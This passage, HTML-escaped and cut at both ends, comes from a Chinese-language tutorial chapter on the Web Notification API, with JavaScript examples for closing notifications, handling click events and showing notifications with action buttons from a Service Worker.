aria-hidden=\"true\"></i></a>&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;</h3>\n<p>Notification &#x5B9E;&#x4F8B;&#x5177;&#x6709;&#x4EE5;&#x4E0B;&#x65B9;&#x6CD5;&#xFF1A;</p>\n<ul>\n<li>close()&#xFF1A;&#x5173;&#x95ED;&#x901A;&#x77E5;</li>\n</ul>\n<p>&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x6BD4;&#x5982;&#x5E0C;&#x671B;&#x901A;&#x77E5;&#x5728;&#x5C55;&#x793A; 2 &#x79D2;&#x4E4B;&#x540E;&#x5173;&#x95ED;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x8FD9;&#x4E48;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> notification <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Notification</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4F60;&#x597D;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  notification<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2000</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>Notification &#x5B9E;&#x4F8B;&#x5316;&#x5BF9;&#x8C61;&#x5177;&#x6709;&#x4EE5;&#x4E0B;&#x4E8B;&#x4EF6;&#x53E5;&#x67C4;&#xFF1A;</p>\n<ul>\n<li>onclick&#xFF1A;&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;</li>\n<li>onclose&#xFF1A;&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;&#xFF0C;&#x65E0;&#x8BBA;&#x662F;&#x7528;&#x6237;&#x624B;&#x52A8;&#x5173;&#x95ED;&#xFF0C;&#x8FD8;&#x662F;&#x8C03;&#x7528; <code>Notification.close()</code> &#x5747;&#x4F1A;&#x89E6;&#x53D1;</li>\n<li>onshow&#xFF1A;&#x901A;&#x77E5;&#x663E;&#x793A;</li>\n<li>onerror&#xFF1A;&#x901A;&#x77E5;&#x663E;&#x793A;&#x5F02;&#x5E38;&#x4E8B;&#x4EF6;</li>\n</ul>\n<p>&#x4E0B;&#x9762;&#x4E3E;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x6765;&#x5C55;&#x793A;&#x901A;&#x77E5;&#x7684;&#x5C55;&#x73B0;&#x4EE5;&#x53CA;&#x4E8B;&#x4EF6;&#x7684;&#x5904;&#x7406;&#x3002;&#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x4F1A;&#x5F39;&#x51FA;&#x901A;&#x77E5; &#x201C;&#x6211;&#x662F;&#x674E;&#x96F7;&#xFF0C;&#x4EA4;&#x4E2A;&#x670B;&#x53CB;&#x5427;&#x201D;&#xFF0C;&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x540E;&#x81EA;&#x52A8;&#x6253;&#x5F00;&#x767E;&#x5EA6;&#x9996;&#x9875;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> notification <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Notification</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4F60;&#x597D;&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  body<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x6211;&#x53EB;&#x674E;&#x96F7;&#xFF0C;&#x4EA4;&#x4E2A;&#x670B;&#x53CB;&#x5427;&apos;</span><span class=\"token punctuation\">,</span>\n  icon<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://path/to/icon&apos;</span><span class=\"token punctuation\">,</span>\n  data<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://www.baidu.com&apos;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nnotification<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onclick</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5173;&#x95ED;&#x901A;&#x77E5;</span>\n  notification<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n  <span class=\"token comment\">// &#x901A;&#x8FC7; notification.data &#x5BF9;&#x8C61;&#x53EF;&#x4EE5;&#x8BBF;&#x95EE;&#x5230;&#x5B9E;&#x4F8B;&#x5316;&#x65F6;&#x4F20;&#x5165;&#x7684; data &#x53C2;&#x6570;</span>\n  <span class=\"token comment\">// &#x8FD9;&#x91CC;&#x6F14;&#x793A;&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x4E4B;&#x540E;&#x81EA;&#x52A8;&#x6253;&#x5F00;&#x767E;&#x5EA6;&#x9996;&#x9875;</span>\n  window<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>notification<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"&#x5728;-service-worker-&#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><a name=\"&#x5728;-service-worker-&#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5728;-service-worker-&#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5728;-service-worker-&#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;\" class=\"plugin-anchor\" href=\"#&#x5728;-service-worker-&#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5728; Service Worker &#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;</h2>\n<p>&#x4E0A;&#x9762;&#x6240;&#x4ECB;&#x7ECD;&#x7684; Notification API &#x7528;&#x6CD5;&#x5168;&#x662F;&#x5199;&#x5728;&#x9875;&#x9762;&#x4E3B;&#x7EBF;&#x7A0B;&#x91CC;&#x7684;&#xFF0C;&#x5728;&#x5BF9;&#x5E94;&#x7F51;&#x9875;&#x6253;&#x5F00;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x5373;&#x4F7F;&#x5207;&#x6362;&#x6807;&#x7B7E;&#x9875;&#xFF0C;&#x6700;&#x5C0F;&#x5316;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x90FD;&#x53EF;&#x4EE5;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#x3002;&#x4F46;&#x662F;&#x4E00;&#x65E6;&#x5173;&#x95ED;&#x7F51;&#x9875;&#xFF0C;&#x901A;&#x77E5;&#x7684;&#x76F8;&#x5173;&#x4EE3;&#x7801;&#x968F;&#x4E4B;&#x5931;&#x6548;&#xFF0C;&#x4E5F;&#x5C31;&#x65E0;&#x6CD5;&#x7EE7;&#x7EED;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#x3002;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x5C06; Notification API &#x653E;&#x5230;&#x5E38;&#x9A7B;&#x540E;&#x53F0;&#x7684;&#x8FDB;&#x7A0B;&#x4E2D;&#x53BB;&#x8FD0;&#x884C;&#x3002;</p>\n<p>&#x901A;&#x8FC7;&#x7B2C;&#x56DB;&#x7AE0;&#x5BF9; Service Worker &#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#xFF0C;Service Worker &#x662F;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x7684; worker &#x7EBF;&#x7A0B;&#xFF0C;&#x5373;&#x4F7F;&#x5728;&#x5173;&#x95ED;&#x7F51;&#x9875;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;Service Worker \b&#x4F9D;&#x7136;&#x80FD;&#x591F;&#x88AB;&#x5524;&#x9192;&#xFF0C;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C06;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#x7684;&#x4EE3;&#x7801;&#x5199;&#x5230; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x5728;&#x9875;&#x9762;&#x5173;&#x95ED;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x4E5F;&#x53EF;&#x4EE5;&#x5411;&#x7528;&#x6237;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#x4E86;&#x3002;</p>\n<p>&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x65E0;&#x6CD5;&#x76F4;&#x63A5;&#x4F7F;&#x7528; Notification&#xFF0C;&#x9700;&#x8981;&#x901A;&#x8FC7;&#x4E00;&#x4E9B; Service Worker &#x6240;&#x63D0;&#x4F9B;&#x7684;&#x51FD;&#x6570;&#x53BB;&#x5B9E;&#x73B0;&#x901A;&#x77E5;&#x7684;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;&#x3002;&#x5176;&#x4E2D;&#xFF0C;<code>ServiceWorkerRegistration</code> &#x5BF9;&#x8C61;&#x63D0;&#x4F9B;&#x4E86; <code>showNotification()</code> &#x548C; <code>getNotifications()</code> &#x7B49;&#x65B9;&#x6CD5;&#xFF0C;&#x540C;&#x65F6;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x63D0;&#x4F9B;&#x4E86; <code>notificationclick</code> &#x548C; <code>notificationclose</code> &#x7684;&#x5168;&#x5C40;&#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x3002;&#x5728;&#x672C;&#x8282;&#x540E;&#x7EED;&#x7684;&#x5185;&#x5BB9;&#x5F53;&#x4E2D;&#x5C06;&#x4F1A;&#x5BF9;&#x8FD9;&#x4E9B;&#x65B9;&#x6CD5;&#x548C;&#x4E8B;&#x4EF6;&#x505A;&#x8BE6;&#x7EC6;&#x7684;&#x4ECB;&#x7ECD;&#x3002;</p>\n<p>ServiceWorkerRegistration &#x5BF9;&#x8C61;&#x53EF;&#x901A;&#x8FC7;&#x4EE5;&#x4E0B;&#x65B9;&#x6CD5;&#x83B7;&#x5F97;&#xFF1A;</p>\n<ol>\n<li>&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E2D;&#x901A;&#x8FC7;&#x6CE8;&#x518C; Service Worker &#x6240;&#x5F97;&#x5230;&#x7684;&#x5F02;&#x6B65;&#x8FD4;&#x56DE;&#x5BF9;&#x8C61;&#x5373;&#x4E3A; <code>ServiceWorkerRegistration</code> &#x7684;&#x5B9E;&#x4F8B;&#xFF1A;</li>\n</ol>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// &#x6CE8;&#x518C; Service Worker &#x83B7;&#x53D6; registration</span>\nnavigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">register</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/service-worker.js&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">registration</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>registration<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x4F7F;&#x7528; getRegistration &#x65B9;&#x6CD5;&#x83B7;&#x53D6; registration</span>\nnavigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">getRegistration</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">registration</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>registration<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<ol>\n<li>&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x53EF;&#x76F4;&#x63A5;&#x901A;&#x8FC7; <code>self.registration</code> &#x83B7;&#x5F97;&#xFF1A;</li>\n</ol>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">let</span> registration <span class=\"token operator\">=</span> self<span class=\"token punctuation\">.</span>registration\n</code></pre>\n<p>&#x5728;&#x672C;&#x8282;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x8FD9;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#x6211;&#x4EEC;&#x90FD;&#x6709;&#x7528;&#x5230;&#xFF0C;&#x5BF9;&#x4E8E;&#x5C55;&#x73B0;&#x7C7B;&#x7684;&#x901A;&#x77E5;&#x6211;&#x4EEC;&#x5728; <code>public/script/notification.js</code> &#x76F4;&#x63A5;&#x5C01;&#x88C5;&#x4E86; displayNotification &#x65B9;&#x6CD5;&#xFF0C;&#x800C;&#x4E0E;&#x4EA4;&#x4E92;&#x76F8;&#x5173;&#x7684;&#x4E8B;&#x4EF6;&#x76D1;&#x542C;&#x5728; <code>public/sw.js</code> &#x7684; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x3002;&#x793A;&#x4F8B;&#x63D0;&#x4F9B;&#x4E86;&#x4E0D;&#x540C;&#x7C7B;&#x578B;&#x7684;&#x901A;&#x77E5;&#x5C55;&#x793A;&#xFF0C;&#x5982;&#x56FE;&#x70B9;&#x51FB;&#x5BF9;&#x5E94;&#x7684;&#x6309;&#x94AE;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x901A;&#x77E5;&#x6548;&#x679C;&#x3002;</p>\n<p><img src=\"img/notification-example.jpg\" alt=\"&#x901A;&#x77E5;&#x793A;&#x4F8B;\"></p>\n<h3 id=\"&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><a name=\"&#x5C55;&#x73B0;&#x901A;&#x77E5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C55;&#x73B0;&#x901A;&#x77E5;\" class=\"plugin-anchor\" href=\"#&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C55;&#x73B0;&#x901A;&#x77E5;</h3>\n<p>&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#xFF0C;&#x901A;&#x8FC7; <code>ServiceWorkerRegistration.showNotification()</code> &#x65B9;&#x6CD5;&#x6765;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#xFF0C;&#x5176;&#x53C2;&#x6570;&#x4E0E;&#x4E0A;&#x4E00;&#x5C0F;&#x8282; <code>Notification</code> &#x5B9E;&#x4F8B;&#x5316;&#x7684;&#x53C2;&#x6570;&#x4E00;&#x81F4;&#x3002;&#x8BE5;&#x65B9;&#x6CD5;&#x5C06;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; promise &#x5BF9;&#x8C61;&#xFF0C;&#x5F53;&#x901A;&#x77E5;&#x6B63;&#x5E38;&#x5C55;&#x73B0;&#x65F6;&#xFF0C;promise &#x4F1A; resolve &#x5E76;&#x8FD4;&#x56DE; undefined&#xFF0C;&#x5047;&#x5982;&#x901A;&#x77E5;&#x5C55;&#x793A;&#x672A;&#x83B7;&#x8BB8;&#x53EF;&#xFF0C;&#x90A3;&#x4E48; promise &#x5C06;&#x4F1A; reject &#x5E76;&#x4E14;&#x629B;&#x51FA; <code>TypeError</code> &#x7684;&#x5F02;&#x5E38;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x505A;&#x597D;&#x5BB9;&#x9519;&#x65B9;&#x6848;&#x3002;</p>\n<p>&#x5728; Service Worker  &#x6587;&#x4EF6;&#x4E2D;&#x5C55;&#x793A;&#x901A;&#x77E5;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">self<span class=\"token punctuation\">.</span>registration<span class=\"token punctuation\">.</span><span class=\"token function\">showNotification</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4F60;&#x597D;&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* options */</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x901A;&#x77E5;&#x5C55;&#x73B0;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x901A;&#x77E5;&#x5C55;&#x73B0;&#x672A;&#x6388;&#x6743;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x793A;&#x901A;&#x77E5;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\">navigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">getRegistration</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">registration</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  registration<span class=\"token punctuation\">.</span><span class=\"token function\">showNotification</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x4F60;&#x597D;&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* options */</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x901A;&#x77E5;&#x5C55;&#x73B0;&#x6210;&#x529F;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x901A;&#x77E5;&#x5C55;&#x73B0;&#x672A;&#x6388;&#x6743;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x6DFB;&#x52A0;-actions\"><a name=\"&#x6DFB;&#x52A0;-actions\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;-actions\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;-actions\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;-actions\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0; Actions</h3>\n<p>&#x901A;&#x77E5;&#x9664;&#x4E86;&#x53EF;&#x4EE5;&#x4E3A;&#x7528;&#x6237;&#x5C55;&#x73B0;&#x4FE1;&#x606F;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x5728;&#x8BBE;&#x8BA1;&#x7B80;&#x5355;&#x7684;&#x4EA4;&#x4E92;&#x6765;&#x5904;&#x7406;&#x4FE1;&#x606F;&#xFF0C;&#x7528;&#x6237;&#x4E0D;&#x9700;&#x8981;&#x6253;&#x5F00;&#x9875;&#x9762;&#x5C31;&#x53EF;&#x4EE5;&#x5FEB;&#x901F;&#x4E0E;&#x7F51;&#x7AD9;&#x6216;&#x670D;&#x52A1;&#x4EA4;&#x4E92;&#x3002;&#x5F53;&#x4F7F;&#x7528; <code>showNotification</code> &#x5C55;&#x73B0;&#x901A;&#x77E5;&#x65F6;&#xFF0C;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570; <code>options</code> &#x5C06;&#x5728;&#x539F;&#x6709;&#x57FA;&#x7840;&#x4E0A;&#x989D;&#x5916;&#x652F;&#x6301; action &#x53C2;&#x6570;&#x3002;action &#x53C2;&#x6570;&#x662F;&#x4E00;&#x7EC4;&#x81EA;&#x5B9A;&#x4E49;&#x884C;&#x4E3A;&#x6570;&#x7EC4;&#xFF0C;&#x8BE5;&#x6570;&#x7EC4;&#x5305;&#x62EC;&#x4E00;&#x7EC4;&#x5BF9;&#x8C61;&#x7528;&#x4E8E;&#x5B9A;&#x4E49;&#x5411;&#x7528;&#x6237;&#x663E;&#x793A;&#x7684;&#x6309;&#x94AE;&#x3002;action &#x5BF9;&#x8C61;&#x5305;&#x62EC;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x914D;&#x7F6E;&#xFF1A;</p>\n<ul>\n<li>action&#xFF1A;&#x6309;&#x94AE; ID &#x4F5C;&#x4E3A;&#x6807;&#x8BC6;&#x7B26;&#x5B57;&#x7B26;&#x4E32;</li>\n<li>title&#xFF1A;&#x5411;&#x7528;&#x6237;&#x663E;&#x793A;&#x7684;&#x6587;&#x672C;&#x7684;&#x6807;&#x9898;</li>\n<li>icon&#xFF1A;&#x5728;&#x52A8;&#x4F5C;&#x65C1;&#x8FB9;&#x663E;&#x793A;&#x7684;&#x56FE;&#x50CF;&#x7684;&#x4F4D;&#x7F6E;&#x7684;&#x56FE;&#x6807;</li>\n</ul>\n<p>&#x4E0B;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#xFF0C;&#x5728;&#x901A;&#x77E5;&#x4E0A;&#x5C55;&#x73B0;&#x4E00;&#x4E2A; &#x201C;&#x70B9;&#x8D5E;&#x201D; &#x6309;&#x94AE;&#xFF0C;&#x70B9;&#x51FB;&#x8BE5;&#x6309;&#x94AE;&#xFF0C;&#x5C06;&#x5728;&#x63A7;&#x5236;&#x53F0;&#x6253;&#x5370;&#x51FA; &#x201C;&#x70B9;&#x51FB;&#x4E86;&#x70B9;&#x8D5E;&#x6309;&#x94AE;&#x201D;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">self<span class=\"token punctuation\">.</span>registration<span class=\"token punctuation\">.</span><span class=\"token function\">showNotification</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;PWA-Book-Demo &#x6D4B;&#x8BD5; actions&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n  body<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x70B9;&#x8D5E;&#x6309;&#x94AE;&#x53EF;&#x70B9;&#x51FB;&apos;</span><span class=\"token punctuation\">,</span>\n  actions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span>\n    <span class=\"token punctuation\">{</span>\n      action<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;like&apos;</span><span class=\"token punctuation\">,</span>\n      title<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x70B9;&#x8D5E;&apos;</span><span class=\"token punctuation\">,</span>\n      icon<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/assets/images/like-icon.png&apos;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">]</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x76D1;&#x542C;&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;notificationclick&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5173;&#x95ED;&#x901A;&#x77E5;</span>\n  e<span class=\"token punctuation\">.</span>notification<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">.</span>action <span class=\"token operator\">===</span> <span class=\"token string\">&apos;like&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x70B9;&#x51FB;&#x4E86;&#x201C;&#x70B9;&#x8D5E;&#x201D;&#x6309;&#x94AE;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x70B9;&#x51FB;&#x4E86;&#x70B9;&#x8D5E;&#x6309;&#x94AE;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x70B9;&#x51FB;&#x4E86;&#x5BF9;&#x8BDD;&#x6846;&#x7684;&#x5176;&#x4ED6;&#x90E8;&#x5206;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x70B9;&#x51FB;&#x4E86;&#x5BF9;&#x8BDD;&#x6846;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>actions &#x7684;&#x5C55;&#x73B0;&#x6837;&#x5F0F;&#x4F1A;&#x53D7;&#x5230;&#x7CFB;&#x7EDF;&#x7684;&#x5F71;&#x54CD;&#xFF0C;&#x4F8B;&#x5982;&#x5728; Android Nougat &#x53CA;&#x4EE5;&#x4E0A;&#x7248;&#x672C;&#xFF0C;&#x5E76;&#x4E0D;&#x4F1A;&#x5C55;&#x793A; action &#x7684; icon&#xFF0C;&#x4E0A;&#x9762;&#x793A;&#x4F8B;&#x6548;&#x679C;&#x5982;&#x56FE;&#xFF1A;</p>\n<p><img src=\"img/display-notification-actions.jpg\" alt=\"&#x5728;&#x901A;&#x77E5;&#x4E2D;&#x663E;&#x793A;&#x64CD;&#x4F5C;&#x6309;&#x94AE;\"></p>\n<h3 id=\"&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;\"><a name=\"&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;\" class=\"plugin-anchor\" href=\"#&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;</h3>\n<p>&#x5F53;&#x7528;&#x6237;&#x9009;&#x62E9;&#x5FFD;&#x7565;&#x901A;&#x77E5;&#xFF0C;&#x6BD4;&#x5982;&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x7684;&#x5173;&#x95ED;&#x5341;&#x5B57;&#x6216;&#x8005;&#x6ED1;&#x52A8;&#x5173;&#x95ED;&#x901A;&#x77E5;&#x65F6;&#xFF0C;<code>notificationclose</code> 